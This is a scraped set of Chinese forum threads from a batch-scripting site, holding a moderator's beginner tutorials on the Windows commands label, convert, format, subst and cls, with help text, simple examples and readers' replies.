:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? 【续】[一日一教学]（17）编辑磁盘卷标：label
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
返回列表 回复 发帖
Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2011-9-1 14:19 | 只看该作者

[原创] 【续】[一日一教学]（17）编辑磁盘卷标：label

本帖最后由 Hello123World 于 2011-9-1 14:25 编辑

【原】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-2576-1-1.html
【续】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-13798-1-1.html

帮助信息：
  1. C:\Users\HELLOW~1\Desktop>label /?

  2. 创建、更改或删除磁盘的卷标。

  3.

  4. LABEL [drive:][label]

  5. LABEL [/MP] [volume] [label]

  6.

  7.   drive:          指定驱动器号。

  8.   label           指定卷标。

  9.   /MP             指定卷应被视为装入点或卷名。

  10.   volume          指定驱动器号(后面跟一个冒号)、装入点或卷名。

  11.                   如果指定了卷名，/MP 标志则不必要。
复制代码
命令概括：
label，全英文label，意为：标签；这里可引申为卷标名称。

参数详解：
label有两种语法，但是第二种语法我真是百思不得其解，故此决定放弃了；
这里只解释第一种语法，也是最常用，最实用的语法：
  1. LABEL [drive:][label]
复制代码
  1. 创建、更改或删除磁盘的卷标。
复制代码
创建、更改、删除，这里先从删除说起。

显示c、d、e、f盘的卷标和序列号。
例如：
  1. C:\Users\helloworld\Desktop>for %i in (c d e f) do @vol %i:

  2. 驱动器 C 中的卷是 System

  3. 卷的序列号是 441A-9B85

  4. 驱动器 D 中的卷是 Compression

  5. 卷的序列号是 4C28-65E5

  6. 驱动器 E 中的卷是 Study

  7. 卷的序列号是 9430-B6FA

  8. 驱动器 F 中的卷是 Software

  9. 卷的序列号是 6442-C7C4
复制代码
如图：
下载 (7.44 KB)
2011-9-1 13:50

删除c盘的卷标。
例如：
  1. C:\Users\HELLOW~1\Desktop>label c:

  2. 驱动器 C: 中的卷是 System

  3. 卷序列号为 441A-9B85

  4. 卷标(32 个字符；如果没有，请按 Enter)?

  5.

  6. 是否删除当前的卷标(Y/N)? y
复制代码
效果：
下载 (6.75 KB)
2011-9-1 13:53

可以看出，所谓的删除就是还原默认的卷标名。

我本想说“机器翻译，请坑死你爹吧”，但事实证明，这跟机器翻译无关
  1. Active code page: 437

  2.

  3. C:\Users\HELLOW~1\Desktop>label /?

  4. Creates, changes, or deletes the volume label of a disk.
复制代码
所以我只好说，“微软，请坑死你爹吧”……

在明白微软坑爹的同时，继续学习创建和更改。

“创建”其实就是更改。
“更改”其实就是更改的再更改，换句话说“创建”和“更改”没有差别，都是更改卷标名。

将c、d、e、f的卷标名更改。
例如：
  1. @echo off

  2. For %%i in ("c: 系统" "d: 压缩" "e: 学习" "f: 娱乐") do label %%~i

  3. pause>nul
复制代码
效果：
下载 (6.15 KB)
2011-9-1 14:18

改回去，为了加深大家对label语法的理解，这里不用for，一条一条改回去。
例如：
  1. @echo off

  2. label c: System

  3. label d: Compression

  4. label e: Study

  5. label f: Software

  6. pause>nul
复制代码
效果：
如第一个图。（为了节省论坛空间，希望大家能不用图表达，尽量不要用图）

扩展阅读：
无
收藏 分享
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告

doupip
  • 发短消息
  • 加为好友

doupip 当前离线

UID
17864
帖子
26
精华
0
积分
173
PB
173
技术
0
捐助
0
阅读权限
20
在线时间
34 小时
注册时间
2009-9-28
最后登录
2013-11-26

二级士官

帖子
26
积分
173
技术
0
捐助
0
注册时间
2009-9-28
2楼
发表于 2012-1-30 14:27 | 只看该作者
删除卷标还真有那么回事吧.删除后再vol会显示如"驱动器 C 中的卷没有标签".有这么个有意思的现象:
在刚装完系统,都是显示本地磁盘（C:）,本地磁盘（D:）等等.但此时是无卷标.如果你是直接F2手动改一下成"本地磁盘",它的卷标名又会显示成"本地磁盘".
既然存在"没有标签"这说法,MS当然会有创建与删除之说..
只是路过随便打个酱油,以上那些无甚意义;P
回复 引用

评分 报告 TOP

返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:07, Processed in 0.062143 second(s), 8 queries, Gzip enabled.


18、转换磁盘系统格式：convert

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? [批处理命令一日一教学 续]（18）转换磁盘系统格式：convert
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
返回列表 回复 发帖
Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2011-9-1 14:48 | 只看该作者

[原创] [批处理命令一日一教学 续]（18）转换磁盘系统格式：convert

【原】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-2576-1-1.html
【续】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-13798-1-1.html

帮助信息：
  1. C:\Users\HELLOW~1\Desktop>convert /?

  2. 将 FAT 卷转换为 NTFS。

  3.

  4. CONVERT volume /FS:NTFS [/V] [/CvtArea:filename] [/NoSecurity] [/X]

  5.

  6.

  7.   volume      指定驱动器号(后面跟一个冒号)、装入点或卷名。

  8.   /FS:NTFS    指定要将此卷转换为 NTFS。

  9.   /V          指定将在详细模式下运行 Convert。

  10.   /CvtArea:filename

  11.               指定根目录中的一个连续文件，该文件

  12.               将是 NTFS 系统文件的占位符。

  13.   /NoSecurity 指定所有用户均可以访问

  14.               转换文件和目录的安全设置。

  15.   /X          如果必要，请先强制卸除卷。

  16.               该卷的所有打开句柄将会无效。
复制代码
命令概括：
convert，全英文convert，意为：转变，皈依，变换；
/fs，全英文file system，意为：文件系统；这里可引申为文件格式、磁盘格式。

参数详解：
将 FAT 卷转换为 NTFS。
xp下的特有命令，因为xp既支持fat格式又支持ntfs格式，win7由于不支持fat格式，所以这个命令对于win7来说纯粹多余。

将c盘转换为ntfs格式。
例如：
  1. convert c: /fs:ntfs
复制代码
这个命令是一次性买卖，可由fat转为ntfs，但是不能由ntfs转为fat；

曾经在使用xp的时候转过一次c盘，运行命令后，会自动重启，重启需要较长的变换格式的时间，等待完成即可。

其它的参数由于不常用，这里不再做详细解释。

扩展阅读：
fat详解：http://zh.wikipedia.org/wiki/FAT
ntfs详解：http://zh.wikipedia.org/wiki/NTFS
收藏 分享
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告

losefar
  • 发短消息
  • 加为好友

losefar 当前离线

UID
49764
帖子
3
精华
0
积分
24
PB
24
技术
0
捐助
0
阅读权限
5
在线时间
2 小时
注册时间
2012-7-8
最后登录
2012-7-10

列兵

帖子
3
积分
24
技术
0
捐助
0
注册时间
2012-7-8
2楼
发表于 2012-7-8 11:53 | 只看该作者
我准备一个一个看过去，一个一个回过去
回复 引用

评分 报告 TOP

返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:08, Processed in 0.038349 second(s), 7 queries, Gzip enabled.


19、格式化磁盘：format

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? 【续】[一日一教学]（19）格式化磁盘：format
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
返回列表 回复 发帖
Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2011-9-5 16:38 | 只看该作者

[原创] 【续】[一日一教学]（19）格式化磁盘：format

【原】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-2576-1-1.html
【续】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-13798-1-1.html

帮助信息：
win7下的帮助：
  1. 格式化磁盘以供 Windows 使用。

  2.

  3. FORMAT volume [/FS:file-system] [/V:label] [/Q] [/A:size] [/C] [/X] [/P:passes] [/S:state]

  4. FORMAT volume [/V:label] [/Q] [/F:size] [/P:passes]

  5. FORMAT volume [/V:label] [/Q] [/T:tracks /N:sectors] [/P:passes]

  6. FORMAT volume [/V:label] [/Q] [/P:passes]

  7. FORMAT volume [/Q]

  8.

  9.   volume          指定驱动器号(后面跟一个冒号)、装入点或卷名。

  10.   /FS:filesystem 指定文件系统的类型(FAT、FAT32、exFAT、NTFS、或 UDF)。

  11.   /V:label        指定卷标。

  12.   /Q              执行快速格式化。请注意，此开关可替代 /P。

  13.   /C              仅适于 NTFS: 默认情况下，将压缩在该新建卷上创建的

  14.                   文件。

  15.   /X              如果必要，请先强制卸除卷。该卷的所有打开句柄

  16.                   不再有效。

  17.   /R:revision     仅 UDF: 强制格式化为特定的 UDF 版本

  18.                   (1.02、1.50、2.00、2.01、2.50)。

  19.                   默认 修订版为 2.01。

  20.   /D              仅适用于 UDF 2.50: 将复制元数据。

  21.   /A:size         替代默认分配单元大小。强烈建议您在通常情况下使用默认 设置。

  22.                   NTFS 支持 512、1024、2048、4096、8192、16K、32K、64K。

  23.                   FAT 支持 512、1024、2048、4096、8192、16K、32K、64k，

  24.                   (128k、256k 用于大于 512 个字节的扇区)。 FAT32 支持 512、

  25.                   1024、2048、4096、8192、16k、32k、64k， (128k 、256k 用于

  26.                   大于 512 个字节的扇区)。EXFAT 支持 512、1024、2048、4096、

  27.                   8192、16K、32K、64K、 128K、256K、512k、1M、2M、4M、8M、16M、

  28.                   32M。

  29.

  30.                   请注意，FAT 及 FAT32 文件系统对卷上的群集数量施加以下限制:

  31.

  32.                   FAT: 群集数量 <= 65526 FAT32: 65526 < 群集数量 < 4177918

  33.

  34.                   如果判定使用指定的群集大小无法满足以上需求，将立即停止格式化。

  35.

  36.                   大于 4096 的分配单元大小不支持 NTFS 压缩。

  37.

  38.   /F:size 指定要格式化的软盘大小(1.44)

  39.   /T:tracks       为磁盘指定每面磁道数。

  40.   /N:sectors      指定每条磁道的扇区数。

  41.   /P:passes       将卷上每个扇区的操作次数清零。

  42.                   此开关对 /Q 无效

  43.   /S:state        其中 "state" 为 "enable" 或 "disable"

  44.                   默认情况下启用了短名称
复制代码
xp下的帮助：
下载 (141.17 KB)
2011-9-5 16:33

由于要在xp上测试，所以只针对xp下的参数进行详细解释。

命令概括：
format，全英文format，意为：版本，格式；下辖9个参数（xp比win7少4个参数，分别是/r、/d、/s、/p）。
volume，全英文volume，意为：卷、册；这个其实前面也讲过了，参数名在不少命令中都是相通。

参数详解：
由于要测试，暂时停更。

扩展阅读：
收藏 分享
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告

zaixinxiangnian
  • 发短消息
  • 加为好友

zaixinxiangnian 当前离线

UID
22805
帖子
144
精华
0
积分
153
PB
144
技术
3
捐助
0
阅读权限
20
在线时间
72 小时
注册时间
2010-3-24
最后登录
2014-1-21

二级士官

帖子
144
积分
153
技术
3
捐助
0
注册时间
2010-3-24
2楼
发表于 2011-9-5 21:32 | 只看该作者
不是吧，你不写好再发？
回复 引用

评分 报告 TOP

cjiabing
  • 发短消息
  • 加为好友

cjiabing (甲兵时代)当前离线

UID
7853
帖子
1726
精华
2
积分
4473
PB
4191
技术
94
捐助
0
阅读权限
254
在线时间
1302 小时
注册时间
2008-12-21
最后登录
2016-8-29

荣誉版主

帖子
1726
积分
4473
技术
94
捐助
0
注册时间
2008-12-21
3楼
发表于 2011-9-7 23:38 | 只看该作者
回复 2# zaixinxiangnian

耐心等候，写个教程不是件容易的事情。
寂寞是黑白的，但黑白不是寂寞，是永恒。BAT 需要的不是可能，而是智慧。
回复 引用

评分 报告 TOP

329692195
  • 发短消息
  • 加为好友

329692195 当前离线

UID
44081
帖子
4
精华
0
积分
25
PB
25
技术
0
捐助
0
阅读权限
5
在线时间
1 小时
注册时间
2011-12-14
最后登录
2012-1-8

列兵

帖子
4
积分
25
技术
0
捐助
0
注册时间
2011-12-14
4楼
发表于 2011-12-14 19:41 | 只看该作者
回复 2# zaixinxiangnian

发什么牢骚，等待楼主把帖子更新完成就好。
赞一个！
回复 引用

评分 报告 TOP

baihaijiao101
  • 发短消息
  • 加为好友

baihaijiao101 当前离线

UID
53086
帖子
5
精华
0
积分
30
PB
27
技术
1
捐助
0
阅读权限
5
在线时间
4 小时
注册时间
2012-10-18
最后登录
2013-4-7

列兵

帖子
5
积分
30
技术
1
捐助
0
注册时间
2012-10-18
5楼
发表于 2013-3-1 22:46 | 只看该作者
楼主的帖子肯定是忘记更新了，不是测试停更吧，快快补回来吧，i need it。
回复 引用

评分 报告 TOP

BAT-VBS
  • 发短消息
  • 加为好友

BAT-VBS 当前离线

UID
53407
帖子
888
精华
0
积分
6682
PB
6418
技术
88
捐助
0
阅读权限
99
在线时间
148 小时
注册时间
2012-10-27
最后登录
2013-6-13

少将

帖子
888
积分
6682
技术
88
捐助
0
注册时间
2012-10-27
6楼
发表于 2013-3-1 23:18 | 只看该作者
回复 5# baihaijiao101

说不定楼主不小心把自己的资料给格式化了
回复 引用

评分 报告 TOP

xuebin51207
  • 发短消息
  • 加为好友

xuebin51207 当前离线

UID
52628
帖子
4
精华
0
积分
26
PB
26
技术
0
捐助
0
阅读权限
5
在线时间
3 小时
注册时间
2012-10-3
最后登录
2013-3-2

列兵

帖子
4
积分
26
技术
0
捐助
0
注册时间
2012-10-3
7楼
发表于 2013-3-2 12:10 | 只看该作者
楼主这个，正是我需要的，学习了
回复 引用

评分 报告 TOP

lanseye00
  • 发短消息
  • 加为好友

lanseye00 当前离线

UID
76804
帖子
4
精华
0
积分
15
PB
15
技术
0
捐助
0
阅读权限
5
在线时间
4 小时
注册时间
2016-8-21
最后登录
2018-1-5

列兵

帖子
4
积分
15
技术
0
捐助
0
注册时间
2016-8-21
8楼
发表于 2016-9-2 19:45 | 只看该作者
如果在win7系统下，这些参数 可以用么
回复 引用

评分 报告 TOP

zw123011
  • 发短消息
  • 加为好友

zw123011 当前离线

UID
77131
帖子
2
精华
0
积分
13
PB
13
技术
0
捐助
0
阅读权限
5
在线时间
1 小时
注册时间
2016-9-12
最后登录
2016-9-30

列兵

帖子
2
积分
13
技术
0
捐助
0
注册时间
2016-9-12
9楼
发表于 2016-9-13 13:57 | 只看该作者
这个不容易懂啊，举点例子啊:o小白难懂啊我是小白啊:'(
回复 引用

评分 报告 TOP

l37334021
  • 发短消息
  • 加为好友

l37334021 当前离线

UID
80319
帖子
4
精华
0
积分
17
PB
17
技术
0
捐助
0
阅读权限
5
在线时间
0 小时
注册时间
2017-6-9
最后登录
2018-6-2

列兵

帖子
4
积分
17
技术
0
捐助
0
注册时间
2017-6-9
10楼
发表于 2017-6-9 09:33 | 只看该作者
没有实例参照吗
回复 引用

评分 报告 TOP

返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:08, Processed in 0.043389 second(s), 8 queries, Gzip enabled.


20、创建虚拟盘符：subst

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? [批处理命令一日一教学 续]（20）创建虚拟盘符：subst
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
返回列表 回复 发帖
Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2011-9-5 17:03 | 只看该作者

[原创] [批处理命令一日一教学 续]（20）创建虚拟盘符：subst

【原】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-2576-1-1.html
【续】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-13798-1-1.html

帮助信息：
  1. C:\Users\helloworld\Desktop>subst /?

  2. 将路径与驱动器号关联。

  3.

  4. SUBST [drive1: [drive2:]path]

  5. SUBST drive1: /D

  6.

  7.   drive1:        指定要分配路径的虚拟驱动器。

  8.   [drive2:]path  指定物理驱动器和要分配给虚拟驱动器的路径。

  9.   /D             删除被替换的

  10. (虚拟)驱动器。

  11.

  12. 不带参数键入 SUBST，以显示当前虚拟驱动器的列表。
复制代码
命令概括：
subst，全英文substitute，意为：代替，替代；这里可以理解为映射。

参数详解：
语法只有两条，两条的语用分别为创建、删除。
  1. SUBST [drive1: [drive2:]path]

  2.

  3. SUBST drive1: /D
复制代码
先说创建。
例如：
  1. C:\Users\helloworld\Desktop>subst x: d:\
复制代码
效果：
下载 (8.49 KB)
2011-9-5 16:53

多出了一个x盘，由于这是从d盘映射出来的，所以内容跟d盘的一模一样。

再说删除。
例如：
  1. C:\Users\helloworld\Desktop>subst /d x:
复制代码
效果：
下载 (6.52 KB)
2011-9-5 16:56

x盘被删除了，不过这个/d参数是用来删除映射的磁盘的，不要以为可以删除磁盘d！
  1. C:\Users\helloworld\Desktop>subst /d d:

  2. 无效参数 - D:
复制代码
扩展阅读：
前面说过了，subst可以理解为映射的关系。这就导致了映射出来的磁盘和母体磁盘保持了高度的一致性，可谓是一删俱删、一改俱改，荣辱与共。

例如：
  1. C:\Users\helloworld\Desktop>subst x: d:\

  2. C:\Users\helloworld\Desktop>label x: hello
复制代码
效果：
下载 (7.88 KB)
2011-9-5 17:03

我只修改了x盘的卷标，但是d盘的卷标也跟着变了，反向也是成立的。
1

评分人数

    • mstsc: 乐于助人技术 + 1
收藏 分享
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告

mstsc
  • 发短消息
  • 加为好友

mstsc 当前离线

UID
37031
帖子
181
精华
0
积分
251
PB
215
技术
12
捐助
0
阅读权限
20
在线时间
189 小时
注册时间
2011-5-1
最后登录
2013-12-6

四级士官

帖子
181
积分
251
技术
12
捐助
0
注册时间
2011-5-1
2楼
发表于 2011-9-5 20:39 | 只看该作者
谢谢 版主的无私奉献
回复 引用

评分 报告 TOP

giaour
  • 发短消息
  • 加为好友

giaour 当前离线

UID
23214
帖子
2
精华
0
积分
13
PB
13
技术
0
捐助
0
阅读权限
5
在线时间
14 小时
注册时间
2010-4-7
最后登录
2012-12-11

列兵

帖子
2
积分
13
技术
0
捐助
0
注册时间
2010-4-7
3楼
发表于 2011-10-17 23:12 | 只看该作者
学好DOS~~~~~~~~~~~~~
回复 引用

评分 报告 TOP

giaour
  • 发短消息
  • 加为好友

giaour 当前离线

UID
23214
帖子
2
精华
0
积分
13
PB
13
技术
0
捐助
0
阅读权限
5
在线时间
14 小时
注册时间
2010-4-7
最后登录
2012-12-11

列兵

帖子
2
积分
13
技术
0
捐助
0
注册时间
2010-4-7
4楼
发表于 2011-10-17 23:12 | 只看该作者
天下无敌~~~~~~~~~~~~
回复 引用

评分 报告 TOP

cggm
  • 发短消息
  • 加为好友

cggm 当前离线

UID
37404
帖子
11
精华
0
积分
21
PB
21
技术
0
捐助
0
阅读权限
5
在线时间
5 小时
注册时间
2011-5-13
最后登录
2017-5-23

列兵

帖子
11
积分
21
技术
0
捐助
0
注册时间
2011-5-13
5楼
发表于 2011-12-15 10:06 | 只看该作者
多谢，学习了
回复 引用

评分 报告 TOP

xingyou
  • 发短消息
  • 加为好友

xingyou 当前离线

UID
45751
帖子
11
精华
0
积分
12
PB
12
技术
0
捐助
0
阅读权限
5
在线时间
10 小时
注册时间
2012-2-28
最后登录
2013-5-24

列兵

帖子
11
积分
12
技术
0
捐助
0
注册时间
2012-2-28
6楼
发表于 2012-2-29 13:03 | 只看该作者
请问一下这个有什么具体的用处呢？:)
回复 引用

评分 报告 TOP

losefar
  • 发短消息
  • 加为好友

losefar 当前离线

UID
49764
帖子
3
精华
0
积分
24
PB
24
技术
0
捐助
0
阅读权限
5
在线时间
2 小时
注册时间
2012-7-8
最后登录
2012-7-10

列兵

帖子
3
积分
24
技术
0
捐助
0
注册时间
2012-7-8
7楼
发表于 2012-7-8 12:04 | 只看该作者
感觉也不能再详细了
回复 引用

评分 报告 TOP

feelinglove
  • 发短消息
  • 加为好友

feelinglove 当前离线

UID
49756
帖子
2
精华
0
积分
13
PB
13
技术
0
捐助
0
阅读权限
5
在线时间
6 小时
注册时间
2012-7-7
最后登录
2013-2-19

列兵

帖子
2
积分
13
技术
0
捐助
0
注册时间
2012-7-7
8楼
发表于 2012-7-15 10:20 | 只看该作者
貌似理解了……
回复 引用

评分 报告 TOP

返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:09, Processed in 0.046009 second(s), 9 queries, Gzip enabled.


22、清理CMD屏幕上的信息：cls

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? 【续】[一日一教学]（22）清理CMD屏幕上的信息：cls
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
返回列表 回复 发帖
Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2011-8-27 13:33 | 只看该作者

[原创] 【续】[一日一教学]（22）清理CMD屏幕上的信息：cls

【原】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-2576-1-1.html
【续】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-13798-1-1.html

帮助信息：
  1. 清除屏幕。

  2.

  3. CLS
复制代码
命令概括：
cls，全英文clear screen，意为：清除 屏幕。
说句心里话，没有比这个命令更简单的命令了，因为它什么参数都没有……

参数详解：
清除屏幕，清理CMD屏幕上的信息。

未清除前：
下载 (53.59 KB)
2011-8-27 13:27

清除后：
下载 (22.89 KB)
2011-8-27 13:28

扩展阅读：
大都数时候用在命令提示符中。
也可用在循环体中还含有大量的回显信息批处理中：

例如：
  1. @Echo Off

  2. cls

  3. Set /p a=请输入：

  4. Echo %a%

  5. Ping 127.1 >nul

  6. %0
复制代码
收藏 分享
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告

lfoqtal
  • 发短消息
  • 加为好友

lfoqtal 当前离线

UID
40258
帖子
63
精华
0
积分
109
PB
97
技术
4
捐助
0
阅读权限
20
在线时间
15 小时
注册时间
2011-7-29
最后登录
2014-3-18

一级士官

帖子
63
积分
109
技术
4
捐助
0
注册时间
2011-7-29
2楼
发表于 2011-8-27 13:59 | 只看该作者
这句是所有语句中最易学的，也是大多数语言中较通用的一句呵。
通用简洁实用就是批处理精神
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
3楼
发表于 2011-8-27 14:56 | 只看该作者
回复 2# lfoqtal

还有什么语言可以用这个 关键字 呢？
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

329692195
